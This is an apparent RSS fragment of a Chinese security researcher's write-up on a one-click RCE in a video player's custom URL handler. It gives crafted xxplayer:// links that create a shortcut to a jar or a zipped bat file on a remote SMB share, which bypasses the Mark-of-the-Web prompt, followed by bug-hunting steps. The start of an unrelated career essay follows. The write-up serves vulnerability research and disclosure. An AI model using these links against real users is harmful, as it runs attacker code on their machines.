SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">\\172.16.176.176\share\Test.exe</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">，使用快捷方式打开共享文件，发现确实可以打开EXE文件，但是会有文件信任的安全警告（Mark-of-the-Web）。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004686" data-ratio="0.6279527559055118" data-s="300,640" style="" data-type="png" data-w="1016" src="https://wechat2rss.xlab.app/img-proxy/?k=023d59ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgsI31QPpbeWDRtoNb1hkBFicf0sAnwFibLzd3wdRvlgGebibETIHSTOymA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="384:1-384:172" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">这里可以通过<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">jar</code>文件形式去绕过，打包一个打开计算器的Jar包放在共享目录下，然后将<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">url</code>参数设为使用<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">\\172.16.176.176\share\1.jar</code>。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004687" data-ratio="0.2462962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b65a90ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgaIt4dicS1COb8oFW0XYpQ7bpE04qHbuWsbib14Jl5FEicuj4LPUccnicNA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="341:1-341:187" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">访问</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&amp;name=123</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">，创建快捷方式，打开快捷方式，执行Jar包启动计算器，这样我们就实现了1 Click执行任意命令。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004688" data-ratio="0.49214659685863876" data-s="300,640" style="" data-type="png" data-w="764" src="https://wechat2rss.xlab.app/img-proxy/?k=31ab946f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgdszIleP32aXtZG8pPym29cwvp4hDhvZMjuZHdOHOOibOxE6KViaC7N2g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="392:1-392:297" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">使用远程Jar包的方式来达到任意命令执行还是有局限性，如果目标机器不存在Java环境就无法执行，因此在对文件信任机制的研究发现在<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">smb</code>共享文件中打开<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">zip</code>压缩包内的<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">bat</code>文件，不会有任何弹窗提示直接执行<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">bat</code>文件内容。</p><p data-sourcepos="394:1-394:95" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">因此我们可以在共享文件夹中创建<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">1.zip</code>，放入内容为<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">calc</code>的<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">1.bat</code>文件。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004689" data-ratio="1.0919117647058822" data-s="300,640" style="" data-type="png" data-w="544" src="https://wechat2rss.xlab.app/img-proxy/?k=a547c4f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgWL1pcUiaAicwnSBj5Mkcjjb9kzPh616q2VP82JHQH8f9Rv9ebuKGYWicg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="341:1-341:187" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">将</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">url</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">参数值设为</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">\\172.16.176.225\share\1.zip\1.bat</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">，然后访问</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.zip\1.bat&amp;name=123</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">创建桌面快捷方式，打开快捷方式即可执行</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">bat</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">文件，最终达到不需要任何依赖的情况下执行任意命令。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004690" data-ratio="0.41685144124168516" data-s="300,640" style="" data-type="png" data-w="902" src="https://wechat2rss.xlab.app/img-proxy/?k=ac4050e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgAhX5hNdZzONLDPI3a0em5ianLzvr4Ha3enODZM9ct2PGPWIaMUsIquw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-sourcepos="403:1-403:9" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.5em;line-height: 1.25;padding-bottom: 0.3em;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">总结</h2><p data-sourcepos="405:1-405:81" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">简单总结一下以上两类客户端的攻击入口、RCE风险和影响面。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004692" data-ratio="0.44537037037037036" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=60d7d37c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgG5QpNHV7mPYvxRlevUTaQ7j00GSymRZhukdbUTYQf6KlkK6QYTsWwg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004693" data-ratio="0.4046296296296296" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dc2d7ffb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgdUF5A41AbEyIxeom7U8T9lPqqpyzKEJyoStC3DhwtX9vyhDskzswzQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="411:1-411:109" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">关于客户端本地开启的网络协议问题，我总结出如下几步可以快速的进行漏洞发现:</p><ol data-sourcepos="413:1-419:0" style="box-sizing: border-box;padding-left: 2em;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p>找到客户端启动的本地网络服务（TCP、UDP），这个可以用火绒剑或者CMD的方式查看；</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>有本地监听的情况下，找到对应的程序以及加载的DLL，通过IDA根据端口号找到监听的点，如果是C/C++的程序一般找bind这个函数就能快速定位到；</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>向上回溯找调用链，并根据网络服务的返回结果，例如HTTP访问会有一段字符串或者响应头的一些字符串，定位到代码处理逻辑；</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>如果逻辑对应上了，那就接着找程序的导入表是否存在敏感的函数，例如：CreateProcess、WinExec、ShellExec，如果存在则可以向上回溯看看是否与网络服务监听点有联系；</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>当条件都满足的时候就想尽办法，通过断点调试等操作，找传参或数据传输格式，看看可控内容是否可达敏感的函数处；</p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p>根据代码逻辑构造PoC触发漏洞，并尝试武器化利用。</p></li></ol><h2 data-sourcepos="420:1-420:9" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.5em;line-height: 1.25;padding-bottom: 0.3em;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;color: rgb(0, 0, 0);visibility: hidden;"></span>致谢</h2><p data-sourcepos="422:1-422:192" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">在文章的最后，我要感谢公司部门领导和同事对本议题的贡献和帮助（以下排名不分先后），感谢字节跳动安全中心对于本次沙龙的筹办和策划。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004694" data-ratio="0.562037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0bc800b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgeRlZW3nhKZdLmHuOzzQ8tgFnwlVFZ5XyqMr9cCRCcB9p2aibWUMB14A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="341:1-341:187" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488347">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9fc35d71&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488347%26idx%3D1%26sn%3D347f24964b3cd3a81f5a2c05b171ffe5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 18 Dec 2023 15:00:00 +0800</pubDate>
    </item>
    <item>
      <title>从安全研究员到网络安全教练：这次我想当教练</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488273&amp;idx=1&amp;sn=465105060578cbbbbcfe83b4dce9830d</link>
      <description>从安全研究员到网络安全教练：这次我想当教练</description>
      <content:encoded><![CDATA[<p>
原创 <span>毁三观大人</span> <span>2023-12-13 22:49</span> <span style="display: inline-block;">北京</span>
</p>

<p>从安全研究员到网络安全教练：这次我想当教练</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2ffbe81a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57NYo9BbZ8s7jw0w3C72X6NWeEiabzT1RbpqQubcDJoMG3JNOOnPulvXvhrMDeOXUScMMv3rhfmkAzg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="letter-spacing: 0.578px;color: rgb(51, 51, 51);font-family: 等线;font-size: 14.6667px;">    在完成《我还是想当安全研究员》之后，我观看了一些游戏战队的纪录片，这激发了我开始深思自己的职业道路。后来，21年来到中孚信息，创立了元亨实验室，带了研究型的团队，开始考虑是否将职业重心从安全研究员变成一名网络安全教练。在21年、22年几次都想写一篇《这次我想当教练》的文章，但是自身觉得身边的案例、素材不够，也没有开始动笔。</span></p><p><span style="color: rgb(51, 51, 51);font-family: 等线;font-size: 14.6667px;letter-spacing: 0.578px;">    </span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">我这</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">个人</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">，闲不住</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">在</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">一个方向做深了，老想换一个方向看看。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">w</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">eb安全做了</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">几年，觉</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">得反</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">作</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">弊有</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">意思，反作弊做了几年又抓了不少人，想闭环整个链条，又去武汉跟人创业取证。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">后来看了几个b</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">h的议题，发现web和pwn结合，还能出神洞，让我燃起浓厚的兴趣。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">19</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">年断断续续，</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">20、21、22年又恶</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">补了一下pwn方向的知识。</span><span style="color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;font-family: 等线;text-indent: 2em;">这东西确实费脑子，到现在我还是感觉要学习的东西太多了。</span></p><p><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;">    </span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;">2021</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;">年7月，我加入中孚</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;">信息，开始组建元亨实验室。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;">现在我也没明白自己咋就从甲方不干了，重新回乙方遭罪。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 11pt;letter-spacing: 0pt;">当初跟公司聊的时候，定的目标要做研究型实验室，这可能激发了我的好胜欲。</span><span style="font-family: 等线;color: rgb(51, 51, 51);font-size: 